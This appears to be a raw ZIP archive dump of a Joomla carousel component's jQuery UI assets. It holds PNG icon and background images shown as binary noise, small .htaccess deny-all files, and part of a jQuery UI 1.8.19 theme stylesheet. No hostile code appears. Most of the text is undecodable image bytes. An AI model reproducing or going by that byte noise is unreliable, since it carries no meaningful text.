")nbT")7cccbQj݈eZg"fꖅF1p8kE/Rj8fN^.DWzOdp*R)BHOXxQb#O^LjIENDB`PKs>\)'com_unitehcarousel/assets/jui/.htaccessnuW+A Order allow,deny Deny from all PKs>\(com_unitehcarousel/assets/jui/index.htmlnuW+APKs>\EZZNcom_unitehcarousel/assets/jui/images/ui-bg_highlight-soft_100_f6f6f6_1x100.pngnuW+APNG  IHDRdG,Z`!IDATc&Fx bK *hIENDB`PKs>\YoDcom_unitehcarousel/assets/jui/images/ui-bg_flat_55_ffffff_40x100.pngnuW+APNG  IHDR(ddrzyIDATh1 R 7(ȚV`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X Vj)2NIENDB`PKs>\n@com_unitehcarousel/assets/jui/images/ui-icons_ff0084_256x240.pngnuW+APNG  IHDRIJPLTEJe?NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\iiDcom_unitehcarousel/assets/jui/images/ui-bg_glass_65_ffffff_1x400.pngnuW+APNG  IHDRoX 0IDAT8! + ̼JHR)[lk=O_(<` H"IENDB`PKs>\dʹCcom_unitehcarousel/assets/jui/images/ui-bg_flat_0_aaaaaa_40x100.pngnuW+APNG  IHDR(ddrz{IDATh1 17Y$t3;_TUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTüŝc)IENDB`PKs>\T$ynCcom_unitehcarousel/assets/jui/images/ui-bg_flat_0_eeeeee_40x100.pngnuW+APNG  IHDR(ddrz{IDATh1 1ַP$t3;_TUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPTUAUPT݊IENDB`PKs>\YoDcom_unitehcarousel/assets/jui/images/ui-bg_flat_75_ffffff_40x100.pngnuW+APNG  IHDR(ddrzyIDATh1 R 7(ȚV`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X V`%X Vj)2NIENDB`PKs>\j\@com_unitehcarousel/assets/jui/images/ui-icons_0073ea_256x240.pngnuW+APNG  IHDRIJPLTErrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrONtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\).com_unitehcarousel/assets/jui/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\\@com_unitehcarousel/assets/jui/images/ui-icons_ffffff_256x240.pngnuW+APNG  IHDRIJPLTE NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\>6@com_unitehcarousel/assets/jui/images/ui-icons_666666_256x240.pngnuW+APNG  IHDRIJPLTEdfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfdNtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\<%\\Mcom_unitehcarousel/assets/jui/images/ui-bg_highlight-soft_50_dddddd_1x100.pngnuW+APNG  IHDRdG,Z`#IDATcx&!D(.N6 :"]oIENDB`PKs>\&vvMcom_unitehcarousel/assets/jui/images/ui-bg_highlight-soft_25_0073ea_1x100.pngnuW+APNG  IHDRdG,Z`=IDATՏ 0'[kMiAW?v^FHJC뫸\~tvM.#NhEIENDB`PKs>\/com_unitehcarousel/assets/jui/images/index.htmlnuW+APKs>\5@com_unitehcarousel/assets/jui/images/ui-icons_454545_256x240.pngnuW+APNG  IHDRIJPLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm:NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\ 9com_unitehcarousel/assets/jui/jquery-ui-1.8.19.custom.cssnuW+A/*! * jQuery UI CSS Framework 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; } .ui-helper-clearfix:after { clear: both; } .ui-helper-clearfix { zoom: 1; } .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /*! * jQuery UI CSS Framework 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Helvetica,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=2px&bgColorHeader=dddddd&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=50&borderColorHeader=dddddd&fcHeader=444444&iconColorHeader=0073ea&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=dddddd&fcContent=444444&iconColorContent=ff0084&bgColorDefault=f6f6f6&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=100&borderColorDefault=dddddd&fcDefault=0073ea&iconColorDefault=666666&bgColorHover=0073ea&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=25&borderColorHover=0073ea&fcHover=ffffff&iconColorHover=ffffff&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=dddddd&fcActive=ff0084&iconColorActive=454545&bgColorHighlight=ffffff&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=cccccc&fcHighlight=444444&iconColorHighlight=0073ea&bgColorError=ffffff&bgTextureError=01_flat.png&bgImgOpacityError=55&borderColorError=ff0084&fcError=222222&iconColorError=ff0084&bgColorOverlay=eeeeee&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=80&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=60&thicknessShadow=4px&offsetTopShadow=-4px&offsetLeftShadow=-4px&cornerRadiusShadow=0px */ /* Component containers ----------------------------------*/ .ui-widget { font-family: Helvetica, Arial, sans-serif; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Helvetica, Arial, sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #dddddd; background: #ffffff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50% repeat-x; color: #444444; } .ui-widget-content a { color: #444444; } .ui-widget-header { border: 1px solid #dddddd; background: #dddddd url(images/ui-bg_highlight-soft_50_dddddd_1x100.png) 50% 50% repeat-x; color: #444444; font-weight: bold; } .ui-widget-header a { color: #444444; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #dddddd; background: #f6f6f6 url(images/ui-bg_highlight-soft_100_f6f6f6_1x100.png) 50% 50% repeat-x; font-weight: bold; color: #0073ea; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #0073ea; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #0073ea; background: #0073ea url(images/ui-bg_highlight-soft_25_0073ea_1x100.png) 50% 50% repeat-x; font-weight: bold; color: #ffffff; } .ui-state-hover a, .ui-state-hover a:hover { color: #ffffff; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #dddddd; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #ff0084; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #ff0084; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #cccccc; background: #ffffff url(images/ui-bg_flat_55_ffffff_40x100.png) 50% 50% repeat-x; color: #444444; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #444444; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #ff0084; background: #ffffff url(images/ui-bg_flat_55_ffffff_40x100.png) 50% 50% repeat-x; color: #222222; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #222222; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #222222; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_ff0084_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_ff0084_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_0073ea_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_666666_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_0073ea_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_ff0084_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } 